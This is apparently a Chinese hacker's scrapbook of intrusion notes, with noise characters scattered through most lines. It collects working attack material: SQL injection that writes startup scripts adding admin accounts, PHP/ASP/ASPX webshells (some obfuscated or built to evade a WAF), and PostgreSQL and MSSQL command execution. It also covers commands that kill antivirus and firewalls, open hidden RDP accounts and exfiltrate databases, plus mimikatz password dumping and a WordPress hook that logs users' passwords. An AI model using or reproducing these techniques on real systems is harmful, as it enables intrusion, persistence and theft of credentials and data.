* L$ K5 n: H4 y) d, t+ \- Acreate table a (cmd text);8 T A% k3 {8 c$ u, ^
insert into a values ("set wshshell=createobject (""wscript.shell"") " );
' g/ I! G; P" W) @) N+ w; Kinsert into a values ("a=wshshell.run (""cmd.exe /c net user test 123!@#abcABC /add"",0) " );0 O& U; Z( ]! c$ ^6 M9 X/ B' J
insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators test /add"",0) " );) h9 v( d/ S& N6 Y! J
select * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";
, q" Y+ j U5 o" b) ]3 F& E! ddrop table a;* D) M! o. p, j6 n* Y' A
- W% I0 }: ]2 b% l4 O6 a f6 X英文版本:- c( {- j. K. W# F' c; E. O6 j2 l& M
0 B2 s' }6 a8 @# E( T7 {; k& c; Iuse test;
* A0 }/ u4 L. E2 jcreate table a (cmd text);: g; t! Q# o0 [8 F/ n
insert into a values ("set wshshell=createobject (""wscript.shell"") " );! W& k7 y5 y9 H! j
insert into a values ("a=wshshell.run (""cmd.exe /c net user test 123!@#abcABC /add"",0) " );6 n; X4 {: \+ X1 w& X
insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators test /add"",0) " );* T5 @. O, ^9 b. C, U' Q+ U% c
select * from a into outfile "C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\a.vbs";
' D4 }$ l7 r2 Xdrop table a;2 S& W# R# Z, ^; M w; @8 _
2 n! q1 Q+ X, \; {: Wcreate table a (cmd BLOB);+ k5 p! R0 g$ ?: ` q0 q& M8 H
insert into a values (CONVERT(木马的16进制代码,CHAR));+ I& |( B/ D3 M5 w+ Z- B
select * from a into dumpfile 'C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\启动\\mm.exe'$ q) q) G+ w( i! N2 P" Q
drop table a;
& [ t3 n! F& ]! X3 o2 X! W, x; O8 V) R0 \ Q
记录一下怎么处理变态诺顿
: ^/ [7 X4 w: A查看诺顿服务的路径
, _( X% x# Z" Osc qc ccSetMgr# O; s) S7 }, N0 z! B7 E+ Q) Q* {
然后设置权限拒绝访问。做绝一点。。2 y0 {: B7 w: r7 E4 @) P
cacls "C:\Program Files (x86)\Common Files\Symantec Shared" /t /e /d system( q1 r% O) m# o/ _
cacls "C:\Program Files (x86)\Common Files\Symantec Shared" /t /e /d "CREATOR OWNER"
5 i6 J) I: ?0 u4 Gcacls "C:\Program Files (x86)\Common Files\Symantec Shared" /t /e /d administrators3 ?, K% S* p* A( G0 O& T; C
cacls "C:\Program Files (x86)\Common Files\Symantec Shared" /t /e /d everyone1 ]3 S9 @5 c, e0 _% A
$ ^) n$ o) L( G; @- s* E; ]* y. U然后再重启服务器
/ U7 X- E6 a% X& W7 e! Niisreset /reboot
/ e# U6 y& @+ J) q这样就搞定了。。不过完事后。记得恢复权限。。。。
1 z1 E& ?0 `2 }9 x! N! y! Mcacls "C:\Program Files (x86)\Common Files\Symantec Shared" /t /e /G system:F4 D2 G$ j/ s& f$ C7 o/ F
cacls "C:\Program Files (x86)\Common Files\Symantec Shared" /t /e /G "CREATOR OWNER":F5 N4 X8 f$ Y. K% Z1 D. r2 d
cacls "C:\Program Files (x86)\Common Files\Symantec Shared" /t /e /G administrators:F1 ?; O" j' r' c6 W. R5 I
cacls "C:\Program Files (x86)\Common Files\Symantec Shared" /t /e /G everyone:F
% N8 v8 S1 f7 O) l6 m9 s5 ESELECT '<%eval(request(chr(35)))%>' into [fuck] in 'E:\asp.asp;fuck.xls' 'EXCEL 4.0;' from admin5 \9 q! N% {$ B6 N
- d2 ~9 O) [! l$ FEXEC('ma'+'ster..x'+'p_cm'+'dsh'+'ell ''net user''')
) V/ y! [9 M) X$ z3 j# C
7 {# z1 {$ R8 ^1 y6 @* j3 |+ O" s0 `postgresql注射的一些东西
" p* F8 m7 {. C F8 r+ [如何获得webshell7 W; y' ]+ o B& t
http://127.0.0.1/postgresql.php?id=1;create%20table%20fuck(shit%20text%20not%20null); # [4 Y' A- \2 b$ o5 g% Y
http://127.0.0.1/postgresql.php?id=1;insert into fuck values($$<?php eval($_POST[cmd]);?>$$);
' m, t# `) }* A: X0 G; V+ S8 Qhttp://127.0.0.1/postgresql.php?id=1;copy%20fuck(shit)%20to%20$$/tmp/test.php$$;& I& D A% n4 @: y
如何读文件" L5 e; a' \9 u3 d* n3 S& ]3 s
http://127.0.0.1/postgresql.php?id=1;create table myfile (input TEXT);+ e) h8 U9 L; J. W1 {* y7 d
http://127.0.0.1/postgresql.php?id=1;copy myfile from ‘/etc/passwd’;
* y. H8 ]0 g, q& Vhttp://127.0.0.1/postgresql.php?id=1;select * from myfile;
5 E! G, ]! q2 r1 @# P @/ r5 O$ ?% y% y/ @
z执行命令有两种方式,一种是需要自定义的lic函数支持,一种是用pl/python支持的。
/ c& I3 ]. N, z5 ]: ^当然,这些的postgresql的数据库版本必须大于8.X. J$ q: l% m; P" x
创建一个system的函数:
1 d7 s+ g# S9 s9 D. CCREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE 'C' STRICT; O5 }# m$ H# N6 s8 f
& n+ u3 G V* y: h
创建一个输出表:0 T! Z2 G1 [1 p) \& Q* C7 ?
CREATE TABLE stdout(id serial, system_out text)0 T9 ?/ M$ }$ d w8 m$ z: M. }
3 u" J6 Z$ w* S4 r0 e! F
执行shell,输出到输出表内:
, y6 o7 _7 T& ZSELECT system('uname -a > /tmp/test'); S) ^% d8 l& q! p. b
7 i& S5 e8 I4 l& d( N7 K, A. r
copy 输出的内容到表里面;
. [5 R# l7 ]3 m* }; Q$ LCOPY stdout(system_out) FROM '/tmp/test'' P; N2 v2 d0 a( Z! B7 W4 k
: }) V- }& {9 k
从输出表内读取执行后的回显,判断是否执行成功4 O3 K% b& J$ z) r
0 u$ l3 G; g- f( l8 @SELECT system_out FROM stdout. r, N8 H& |# d. ^5 H3 f3 n
下面是测试例子
% i: v8 \; @- m& U% |$ l2 j& r, G/ ^+ a; C
/store.php?id=1; CREATE TABLE stdout(id serial, system_out text) -- H5 X) l2 ^6 c5 g# Y: N
! ~& E2 C: q7 U8 ~! b8 a: s
/store.php?id=1; CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6','system' LANGUAGE 'C'
3 d& e; Z' G' }5 L/ a: wSTRICT --: O: Z7 {' X# v" r5 J' U
0 C) Q* O8 l2 Z8 `, K/store.php?id=1; SELECT system('uname -a > /tmp/test') --
* C' u6 A" z& k7 L& d, F: q$ S; n* N' D& B. A" U( R c' G
/store.php?id=1; COPY stdout(system_out) FROM '/tmp/test' --9 B5 ~% E6 W4 u! `0 y
$ o2 m! R* v4 C; `/store.php?id=1 UNION ALL SELECT NULL,(SELECT stdout FROM system_out ORDER BY id DESC),NULL LIMIT 1 OFFSET 1--5 `0 [' ^& ?& M2 q) w# [- E
net stop sharedaccess stop the default firewall
7 L- Q& c7 q1 Enetsh firewall show show/config default firewall4 V* z* L9 j; v J& J
netsh firewall set notifications disable disable the notify when the program is disabled by the default firewall
/ M. r( ?3 }4 K8 _* xnetsh firewall add allowedprogram c:\1.exe Svchost add the program which is allowed by default firewall
, a# U, K: }' C, ~0 ~# f' W修改3389端口方法(修改后不易被扫出)
. h. P3 T' G0 Q7 v修改服务器端的端口设置,注册表有2个地方需要修改
$ n/ Y/ `) @, ^5 { z+ W; }+ Q( e x4 } N& f
[HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\TerminalServer\\Wds\\rdpwd\\Tds\\tcp]2 v$ H \- G: u, E5 I3 Y9 y4 y; Y0 `
PortNumber值,默认是3389,修改成所希望的端口,比如60005 l [6 N) ]3 E% P4 S+ ]; G
' B: E7 r8 | i5 j8 m: F' z _4 Q第二个地方:
9 v# w; c- w3 E[HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp] ' O; U, W R: k" T& }. r
PortNumber值,默认是3389,修改成所希望的端口,比如6000
7 W7 ~ I; h6 i' Z" z0 }
* I9 P3 B8 @3 q9 B8 T/ {现在这样就可以了。重启系统就可以了
+ \+ n% r4 t6 N1 S# J2 o2 P
7 t8 ]* Q: d' w查看3389远程登录的脚本' t4 C( t, o/ i5 J. O& @+ c
保存为一个bat文件6 ~7 `2 k5 G8 e2 H
date /t >>D:\sec\TSlog\ts.log
# j) F' Z# q* Z. F; ltime /t >>D:\sec\TSlog\ts.log$ D h# N1 T4 v# Z. X( F
netstat -n -p tcp | find ":3389">>D:\sec\TSlog\ts.log9 J' S9 B/ l8 L( D1 Q
start Explorer
' q& `2 {) c7 t1 S6 }$ d
. J' [2 {! M+ n' Omstsc的参数:
$ v7 c( q- Q( c( y+ D L/ d" U, @4 S/ B+ {1 q0 D) h
远程桌面连接
/ R6 d/ P1 c' B6 o3 B0 N8 u% T$ C
# R) [" i& F* r( W, X1 b1 hMSTSC [<Connection File>] [/v:<server[:port]>] [/console] [/f[ullscreen]]* X2 x" ^* o3 x, X
[/w:<width> /h:<height>] | /Edit"ConnectionFile" | /Migrate | /?( w& X- @4 ]+ H' ^( w s
% D. \& K/ H @<Connection File> -- 指定连接的 .rdp 文件的名称。7 O0 _1 ]2 T* v
. v4 Q' z# F# R k
/v:<server[:port]> -- 指定要连接到的终端服务器。
1 g& l5 F, D, L/ a- A: J. X- {2 C4 Q o" f1 G
/console -- 连接到服务器的控制台会话。
0 M% v1 Q/ G( j/ j, P9 Q7 d
4 R2 v+ O# ]0 c x- Z1 ?/f -- 以全屏模式启动客户端。
: S5 F; U& B- l& a: f
; m6 K: a- ?3 Q% P5 C0 p, y( I* L/w:<width> -- 指定远程桌面屏幕的宽度。
h- X0 B! D: r- A( u! D( `5 u% X4 k; }
/h:<height> -- 指定远程桌面屏幕的高度。0 N9 B- ?! I3 {/ P
1 s- C0 h8 }2 h2 m9 l1 x" s/edit -- 打开指定的 .rdp 文件来编辑。: o( D; `5 @' ~+ ^8 n7 T, A
; T9 z" s. [# k5 J/ S4 L$ A# u& @/migrate -- 将客户端连接管理器创建的旧版
3 @( b4 U5 _$ \1 ~6 N' w; Y连接文件迁移到新的 .rdp 连接文件。, @' v/ q. Q! A" p) U# S
6 J8 k9 W8 ?8 ?; O8 j7 U4 g% ^2 [% w9 S7 g* W5 |3 J
其中mstsc /console连接的是session 0,而mstsc是另外打开一个虚拟的session,这样的话就是相当与另外登陆计算机。也就是说带console参数连接的是显示器显示的桌面。大家可以试试啊,有的时候用得着的,特别是一些软件就
5 `* S8 ^0 e* r+ c' F2 vmstsc /console /v:124.42.126.xxx 突破终端访问限制数量
' G) i6 T: `3 `6 r( B: d; L
+ C+ ~# ^! A1 ^命令行下开启3389
$ n5 q4 t& ? f: |' M% i! qnet user asp.net aspnet /add
7 H+ L+ I; K; N& |net localgroup Administrators asp.net /add
2 r. _9 L& T7 x* ^5 Ynet localgroup "Remote Desktop Users" asp.net /add" o" G# ~7 B' @$ a
attrib +h "%SYSTEMDRIVE%\Documents and Settings\asp.net" /S /D
' B; Z0 Z ], K* {8 t9 Y! kecho Y | reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t reg_dword /d 0, O# b, H* L. P+ e
echo Y | reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v AllowTSConnections /t reg_dword /d 1
/ u1 k v$ y a& L% eecho Y | reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v "asp.net" /t REG_DWORD /d 00000000 /f
' _4 U, @- f4 n9 X& D8 g, d) osc config rasman start= auto3 M+ s/ @" j$ Q" o* o, M8 i9 |
sc config remoteaccess start= auto8 t. G1 k# G4 R* F& d
net start rasman, o5 L) i: O1 _, Y
net start remoteaccess
1 K9 x( s- s( ]$ hMedia. d7 a! ?9 P; m% ?+ o
<form id="frmUpload" enctype="multipart/form-data": N2 \. d5 m1 `, J# a) f+ {3 q
action="http://www.site.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media" method="post">Upload a new file:<br>
3 _0 x* U f$ C<input type="file" name="NewFile" size="50"><br>
: z6 v! y8 U% r+ Y6 U<input id="btnUpload" type="submit" value="Upload">
! h4 j& n, Q* @. S; @+ Q</form>
7 I* t& r5 z# J% g. b0 N" A! s! D" F' y( {, }
control userpasswords2 查看用户的密码 X# G9 m% Q& I6 u
access数据库直接导出为shell,前提a表在access中存在。知道网站的真实路径% I+ ]8 s* f J% k2 R$ ~* m( r
SELECT '<%execute request("a")%>' into [a] in 'c:\x.asp;a.xls' 'excel 8.0;' from a4 a N7 E! V6 p' Y; ~) D) {. t* `" v
2 @* P/ K: \4 J8 h141、平时手工MSSQL注入的时候如果不能反弹写入,那么大多数都是把记录一条一条读出来,这样太累了,这里给出1条语句能读出所有数据:
0 Z" j* A: O- L6 y* x9 I测试1:
. F8 X/ C7 h2 G v p7 O8 a+ P3 I1 XSELECT top 1 name=STUFF((SELECT ','+[name] FROM sysobjects t where xtype='U' FOR XML PATH('')), 1, 1, '') FROM sysobjects t1: ?" y7 ^& R3 D1 u' H! L
+ w3 A( J. {' M3 ?
测试2:
: {" T) M' n2 R7 u3 h+ B$ y; U# d# u1 M0 \+ \( u
create table dirs(paths varchar(100),paths1 varchar(100), id int)' e8 u7 C G( S* c9 j
. b/ P" q' M, i; b0 Odelete dirs;insert dirs exec master.dbo.xp_dirtree 'c:\',1,1--
+ v/ o7 Q, t3 k' e0 q0 d# w
) F$ [) V! D0 }* LSELECT top 1 paths=STUFF((SELECT ','+[paths] FROM dirs FOR XML PATH('')), 1, 1, '') FROM dirs t1
# c; v0 f* ?0 ]/ I, D关闭macfee软件的方法://需要system权限,请使用at或psexec –s cmd.exe命令4 }$ ] d, U7 v! E; X) @3 Q
可以上传.com类型的文件,如nc.com来绕过macfee可执行限制;
0 c( {, }9 m3 F/ {; qnet stop mcafeeframework: @% y w7 z2 x9 o
net stop mcshield
1 f- X6 ~8 D5 C8 unet stop mcafeeengineservice
+ j2 r; B9 I; o( G* E+ w, ?' ynet stop mctaskmanager) z3 l, [" o4 C& z9 K
http://www.antian365.com/forum.p ... DU5Nzl8NDY5Mw%3D%3D2 k7 b' K0 @6 }2 l4 {# k
! q+ f6 B- ^9 L! A( v VNCDump.zip (4.76 KB, 下载次数: 1)
) \, t4 U+ x. o6 p2 e$ ~/ T h* u密码在线破解http://tools88.com/safe/vnc.php( T6 R) u( x/ N6 F3 w
VNC密码可以通过vncdump 直接获取,通过dos查询[HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4] 下的Password也可以获取# Q2 _' N) a8 {" q8 V( @8 u
- e. e: i* P. D# G+ G2 Q. mexec master..xp_cmdshell 'net user'+ t: A# b, C! ]+ e
mssql执行命令。 s; J, _5 k6 U( s& k
获取mssql的密码hash查询- W4 A" `+ z. v5 S% C' _( B
select name,password from master.dbo.sysxlogins
# r* }7 C- x- z8 u' H
" l! d& \# [' P: Gbackup log dbName with NO_LOG;3 Q2 |# X* R: ]8 V" W3 M" L" s: D
backup log dbName with TRUNCATE_ONLY;
+ }: W: P0 Y+ D2 R0 E8 K3 \9 {DBCC SHRINKDATABASE(dbName);
: S3 S( p' X4 w4 S/ F) dmssql数据库压缩
+ a9 K- z9 n9 h w* ~& P& h' l- @- H- k/ h7 ~
Rar.exe a -ep1 -m0 -v200m E:\web\1.rar E:\webbackup\game_db_201107170400.BAK
1 k* d7 p7 h" `. v将game_db_201107170400.BAK文件压缩为1.rar,大小为200M的分卷文件。1 S2 H6 C' d7 d! i+ W9 X
8 a$ U/ ?+ f' a+ f! mbackup database game to disk='D:\WebSites\game.com\UpFileList\game.bak'
2 K1 r# A. a- Y备份game数据库为game.bak,路径为D:\WebSites\game.com\UpFileList\game.bak
# t7 p w8 C2 u5 p% c5 Q2 i
% X% E( `! ?# VDiscuz!nt35渗透要点:
% k( V; U) w1 r6 [5 w1 K(1)访问 网站地址/admin/global/global_templatesedit.aspx?path=../tools/&filename=rss.aspx&templateid=1&templatename=Default% P4 E& V% B- y4 k" v
(2)打开rss.aspx文件,将<%@ Page Inherits="Discuz.Web.UI.RssPage" %>复制到本地备份,然后替换其为<%@ Page Language="Jscript"%><%eval(Request.Item["pass"],"unsafe");%>
4 x5 k0 d9 E. k4 _1 O3 Q b2 q(3)保存。
/ M y: s# n4 c/ `- y(4)一句话后门地址http://somesite.com.cn/tools/rss.aspx 密码为pass$ B8 L' @/ Z8 s2 L7 x2 Y0 S6 p
d:\rar.exe a -r d:\1.rar d:\website\6 Z: V& F/ ]* I% \' p5 J9 ]
递归压缩website
7 B2 j: B2 ], F0 @4 K9 l2 u注意rar.exe的路径+ r! f9 c% y) x$ I+ h9 e
' I6 z/ a$ q# A$ d" n( d/ W
<?php
& r4 w2 {; F. r9 {# @( s. x* \+ R3 ^# Y& G, T
$telok = "0${@eval($_POST[xxoo])}";; s$ G D; Q4 b9 }3 ~5 n, i4 Q8 ]
; M! E2 s# y+ u- F( _, Y' h4 V7 p$username = "123456";. b0 @0 M4 Y2 T& x7 G! [# I
7 Q! B' v. x0 r, Z+ }$userpwd = "123456";
5 c' A7 y4 L* w) V' }- [
, s" K; K/ i. j" v8 g6 y6 q5 }; x$telhao = "123456";
/ @$ u2 i+ ~. t5 D, [
) g" g r# x* \6 u) J$telinfo = "123456";% B9 o! a& J' S" s
$ |7 U: _2 S" t& E( m! r
?>
8 C) ?; s( W' |& k3 ?php一句话未过滤插入一句话木马; R8 H) |) A9 X) b: D. Y
, W1 Z; i& F4 c0 {# ]8 Q
站库分离脱裤技巧. {* I5 E; L% l4 M0 `* q
exec master..xp_cmdshell 'net use \\xx.xx.xx.xx\d$\test "pass" /user:"user"'1 `, c* d2 b, \! i6 }
exec master..xp_cmdshell 'bcp test.dbo.test out \\xx.xx.xx.xx\d$\test\1.txt -c -Slocalhost -Uuser -Ppass'
7 T3 S) y% Q* y N+ a1 ?/ V" {条件限制写不了大马,只有一个一句话,其实要实现什么完全够了,只是很不直观方便啊,比如tuo库。; D) @) x3 T% ]; A! }
这儿利用的是马儿的专家模式(自己写代码)。, o/ E- U, g" \. k5 k% e7 {4 q
ini_set('display_errors', 1);( a6 L5 p2 y6 e; C* x- ]) z. S
set_time_limit(0);5 T' m+ F5 t" d
error_reporting(E_ALL);
2 c* E6 ~4 [/ D) X/ n9 F$connx = mysql_connect(":/var/tmp/mysql.sock", "forum", "xx!!xx3") or die("Could not connect: " . mysql_error());
* c& i7 r# ?" {/ vmysql_select_db("discuz",$connx) or die("Could not connect: " . mysql_error());
5 M$ C" p9 K- Q) \6 _- @) [$result = mysql_query("Select * FROM members",$connx) or die("Could not connect: " . mysql_error());
+ H* d3 K: h" D# i1 P' N! x" f$i = 0;+ g6 G+ `) {# d% g- P
$tmp = '';
9 b5 O& ^7 f3 Q* M1 `4 u/ Wwhile ($row = mysql_fetch_array($result, MYSQL_NUM)) {8 z4 T1 ^" q4 v. a3 v
$i = $i+1;, z& a/ K2 J& m8 q& M5 l( [
$tmp .= implode("::", $row)."\n";
9 A f9 n, L. |& R8 I if(!($i%500)){//500条写入一个文件
4 y4 f4 @$ }; d5 n2 l $filename = '/home/httpd/bbs.xxxxx/forumdata/cache/user'.intval($i/500).'.txt';
. t7 I% n% y) }, f5 U; t1 M% j file_put_contents($filename,$tmp);# d9 T- K9 r3 Z$ H
$tmp = '';
& p0 S( x2 W% g; c1 J }( o6 p6 ^) y6 z) [0 e& g- a
}
# T7 }" v+ I* A' t! Rmysql_free_result($result);' p( w& ~9 O7 D% p3 ~. k7 U
; @4 N& J6 p6 c* W& D9 n# l$ t; J o% b
! v! |- l3 K9 P
//down完后delete5 }0 x$ S: t4 E
# a) E8 V" _4 E. @- i+ z7 q$ w
+ ~, p, H7 l, H( G9 W7 uini_set('display_errors', 1);
, v- R5 z, o/ m. Z$ e( s8 v2 gerror_reporting(E_ALL);2 A! V p! c( g# r5 v5 D0 G
$i = 0;
0 y8 r/ w( Z; j+ B/ d9 M$ \while($i<32) {( [/ |8 v" T. I$ Q% J" S G
$i = $i+1;6 i w' `* q+ Y S; ^( I- S; ?% K
$filename = '/home/httpd/bbs.xxxx/forumdata/cache/user'.$i.'.txt';2 c9 S3 d9 S4 t8 o7 b/ e/ G
unlink($filename);
9 B" s4 g5 `7 D, X}
* x# ]6 K' i. {, Khttprint 收集操作系统指纹5 \7 L1 g' t6 I. D# H) t- m
扫描192.168.1.100的所有端口4 L$ `3 _5 Q+ c
nmap –PN –sT –sV –p0-65535 192.168.1.100
9 I# ^1 _3 y5 M" I$ N% i, [3 G" Ohost -t ns www.owasp.org 识别的名称服务器,获取dns信息
( B m! I0 _$ n5 L4 qhost -l www.owasp.org ns1.secure.net 可以尝试请求用于owasp.org的区域传输1 p! m7 d- g& {% x
Netcraft的DNS搜索服务,地址http://searchdns.netcraft.com/?host- k3 c3 i+ r# b+ r# |1 ]' m
4 z. k' ^- q2 c4 m
Domain tools reverse IP: http://www.domaintools.com/reverse-ip/ (需要免费注册)
0 [, ~; ~) Y% O% T; A/ \ t
U. Z% X; P8 A! z, @* n- b MSN search: http://search.msn.com 语法: "ip:x.x.x.x" (没有引号)6 M+ A" O- D. d2 U& n
3 D' b- [3 x& l) n Webhosting info: http://whois.webhosting.info/ 语法: http://whois.webhosting.info/x.x.x.x/ y: \' R: y) d; r# |8 M
) U9 L. ]7 N6 e5 X8 ]8 {0 X: T* N DNSstuff: http://www.dnsstuff.com/ (有多种服务可用)
H0 g8 W2 n. ?. |2 D3 H+ g1 Z: W$ o; t$ T( U" \3 b
http://net-square.com/msnpawn/index.shtml (要求安装)! B! M+ }* I. u
# f1 f" _# l4 I$ d) h* r
tomDNS: http://www.tomdns.net/ (一些服务仍然是非公开的)1 ?3 U* Y: J3 e* _- E, \
7 i0 _2 r( ~" @8 K* W SEOlogs.com: http://www.seologs.com/ip-domains.html (反向IP/域名查找)( n- i# ]0 X8 G) j& P% S, T
set names gb2312- { B+ n: U7 B! ?5 P
导入数据库显示“Data too long for column 'username' at row 1”错误。原因是不支持中文。
2 x( o0 a) i) g0 w" H" H; H
- b/ W. E* J7 R" M) amysql 密码修改
& |6 j" s# Z/ @UPDATE mysql.user SET password=PASSWORD("newpass") whereuser="mysqladmin ” 5 G ?7 F; i) Y! ]/ R* l1 E
update user set password=PASSWORD('antian365.com') where user='root';
! K- R& L( m! Z. u C/ C+ f7 Gflush privileges;
@. X% U+ M' _1 {/ x) C" Q8 G% v高级的PHP一句话木马后门3 F" {) b, z# w( M a
& c5 S* r: w' ^% H! q" d入侵过程发现很多高级的PHP一句话木马。记录下来,以后可以根据关键字查杀' w' O! N/ @- {" C' z* j
# a) j# R) B7 j1、9 q9 w2 `8 D; M: a
' M4 m8 ]1 b9 H: t6 ^- z7 o
$hh = "p"."r"."e"."g"."_"."r"."e"."p"."l"."a"."c"."e";
" a: T4 q" d- y7 m0 I
1 f* N$ B0 o* T" i0 L$hh("/[discuz]/e",$_POST['h'],"Access");9 d/ |0 P0 w( C4 W
5 e/ q) m J! m
//菜刀一句话5 c' D9 P6 ~: P; y- a6 K. }
" y8 E, N# Y8 O/ w* W" e2、 p& V) ]$ P2 c/ @ e* |
5 V5 I1 X6 f/ v
$filename=$_GET['xbid'];# C/ h& O/ ~: V
8 v0 O" G4 r3 ?include ($filename);
% q! L+ ~) H O) I) i5 j( B" w* V. Y. G2 I- k" T( ~
//危险的include函数,直接编译任何文件为php格式运行
2 l/ j( ?/ u" j" Q6 @3 H' Z5 c' c* ?9 s! }
3、9 ~! j! d/ |( m) V9 h! A7 k' e
% Y; Y4 x' o' y; N& E# g
$reg="c"."o"."p"."y";0 G: }8 B( ]' h+ Z6 ~. ^ J
/ G) W- i/ |# l! G3 z3 P
$reg($_FILES[MyFile][tmp_name],$_FILES[MyFile][name]);" q+ q/ F- M# h: o( F0 X1 C5 _
& |& F! }" H' M. P, F) p3 k
//重命名任何文件3 i" b! [8 h2 {0 A8 d+ C
& m* E( z2 n3 D1 ]( q+ x4、
& J" w$ s: R, U8 D* K& M: A; ~% H# u" ^) S8 L( }
$gzid = "p"."r"."e"."g"."_"."r"."e"."p"."l"."a"."c"."e";
% i: s6 F- H1 e- X* K8 Z Q6 [
, d! T# I$ U- e& @$gzid("/[discuz]/e",$_POST['h'],"Access");5 A$ T2 [* R* D. w& T
5 a' ?( C/ l1 L& h5 t: i) \
//菜刀一句话$ A9 S. a6 {/ ~" u$ o
- s. R* @# F# F1 u
5、include ($uid);6 @' O) L' v$ u% |
8 R$ @% F6 T/ U% _4 A$ z$ a* |1 A
//危险的include函数,直接编译任何文件为php格式运行,POST
% q' V" V; e# |% s ~/ o% ?0 h% [! \. a X: U0 @& f( R9 [' y
4 C# d8 V2 t2 ^' ?- f: t//gif插一句话) b+ o, O( w! V1 M, S' B0 l5 i
& s4 G/ ?1 x7 y/ x! n5 R9 u
6、典型一句话* Y1 E2 k3 T$ n6 t. v# [) F! \% s
0 A* v: K$ Y% t% W0 }1 ~0 H% n; v% @程序后门代码3 {, ?7 I) T; H S) C. g# s# A
<?php eval_r($_POST[sb])?>
3 O( N) `! t6 z# N! `: w程序代码
4 L. S! Q# w% u" B<?php @eval_r($_POST[sb])?> ^' d$ W( X2 q1 W) A5 O/ S
//容错代码8 r9 q6 ^# L8 L* s# T( q
程序代码
7 N8 z; P; L) z: ^<?php assert($_POST[sb]);?>& x4 C" }& S$ h% `
//使用lanker一句话客户端的专家模式执行相关的php语句5 Y% w/ I8 M) J T
程序代码- u1 r' {) L" @, v2 o9 }1 D4 E1 L
<?$_POST['sa']($_POST['sb']);?>
; } e* p$ r' R W6 t8 _程序代码
* Z$ R% Z6 k7 ]7 ~4 W<?$_POST['sa']($_POST['sb'],$_POST['sc'])?>
% b2 ^% U: z% \程序代码: }/ {3 M5 g h) Q) H2 t
<?php
" L. G5 R( z8 M+ Z- f@preg_replace("/[email]/e",$_POST['h'],"error");" H' L- v( D- ?5 n0 F* {
?>4 U5 e/ }! w1 g2 u& }3 \
//使用这个后,使用菜刀一句话客户端在配置连接的时候在"配置"一栏输入
& w) H% C" `( k+ X2 Q' T程序代码
: \# k+ T$ K) e: o! T<O>h=@eval_r($_POST[c]);</O>: Z3 j% o9 n3 x
程序代码
, I! B, F2 u! l5 w<script language="php">@eval_r($_POST[sb])</script>0 a% h1 o4 `. V D# L- C( @) }: p" d
//绕过<?限制的一句话
- P2 ]+ G3 W$ r3 y: A
% @8 t' D5 ?8 R; b: lhttp://blog.gentilkiwi.com/downloads/mimikatz_trunk.zip
% f; _% n: l& k4 g& V详细用法:1 P2 v Z2 m( D. }3 U! X1 M }
1、到tools目录。psexec \\127.0.0.1 cmd
: E( n! s T) r( ?# U* K2、执行mimikatz& o+ \0 a! U8 K" h. I
3、执行 privilege::debug
. Q: B( g. X6 m' a l, S# {' F! o4、执行 inject::process lsass.exe sekurlsa.dll
" _2 _; h1 V7 k5 Q. a3 U; q2 N5、执行@getLogonPasswords
( Y0 ]3 J4 x" t. G7 k- L6、widget就是密码
! {9 Z/ \4 }/ Q' \7 p5 y2 I2 D6 }7、exit退出,不要直接关闭否则系统会崩溃。
9 J0 W# u `: ]) @6 O& Y5 D/ b& q3 q0 o9 D- y
http://www.monyer.com/demo/monyerjs/ js解码网站比较全面) V2 d9 ~. B1 J# T# D
/ `# E3 F: ?0 I4 b1 I: d8 ?+ A$ B自动查找系统高危补丁9 X3 ^$ x n4 S/ ?% y9 ]- C
systeminfo>a.txt&(for %i in (KB2360937 KB2478960 KB2507938 KB2566454 KB2646524 KB2645640 KB2641653 KB944653 KB952004 KB971657 KB2620712 KB2393802 kb942831 KB2503665 KB2592799) do @type a.txt|@find /i "%i"||@echo %i Not Installed!)&del /f /q /a a.txt0 F% x) |% F, Z/ t# U+ C- H
# N8 K, v7 R; g
突破安全狗的一句话aspx后门
; C% Z- l! n- ]7 n. f<%@ Page Language="C#" ValidateRequest="false" %>
- g! i) l" v1 {( J$ d<%try{ System.Reflection.Assembly.Load(Request.BinaryRead(int.Parse(Request.Cookies["你的密码"].Value))).CreateInstance("c", true, System.Reflection.BindingFlags.Default, null, new object[] { this }, null, null); } catch { }%>$ i" T- ]$ ], N
webshell下记录WordPress登陆密码) M5 m1 W4 D# S$ q4 l0 \ ]# `
webshell下记录Wordpress登陆密码方便进一步社工
7 H c8 k$ G. Q; T. Z在文件wp-login.php中539行处添加:
c- M7 S$ Q6 }) p// log password
0 b$ m+ F E# A/ l7 u4 Q. |$log_user=$_POST['log']; {# G5 u x# ~3 r! a
$log_pwd=$_POST['pwd'];
, W+ T/ |$ G1 p& B3 p9 y- K$log_ip=$_SERVER["REMOTE_ADDR"];
5 W- S# v7 i6 ?' u$txt=$log_user.’|’.$log_pwd.’|’.$log_ip;
& Y( A1 ]" F9 N; w- t- ^; M$ M8 O$txt=$txt.”\r\n”;6 N/ d& i' l% x5 I* ]# s+ z
if($log_user&&$log_pwd&&$log_ip){- v5 e' }. i& X0 Y2 ^, C) F
@fwrite(fopen(‘pwd.txt’,”a+”),$txt);
& Q% \2 y& D5 C# F) `}8 U- {+ J. j( \6 h; q5 Y, K) I! C! h
当action=login的时候会触发记录密码code,当然了你也可以在switch…case..语句中的default中写该代码。
) w% q+ G( y3 G" n8 o1 |就是搜索case ‘login’* W" `1 q6 ^4 L( T6 m; Q
在它下面直接插入即可,记录的密码生成在pwd.txt中,2 J3 C+ N' l8 C' m; H
其实修改wp-login.php不是个好办法。容易被发现,还有其他的方法的,做个记录3 ~! m4 n" q @
利用II6文件解析漏洞绕过安全狗代码:
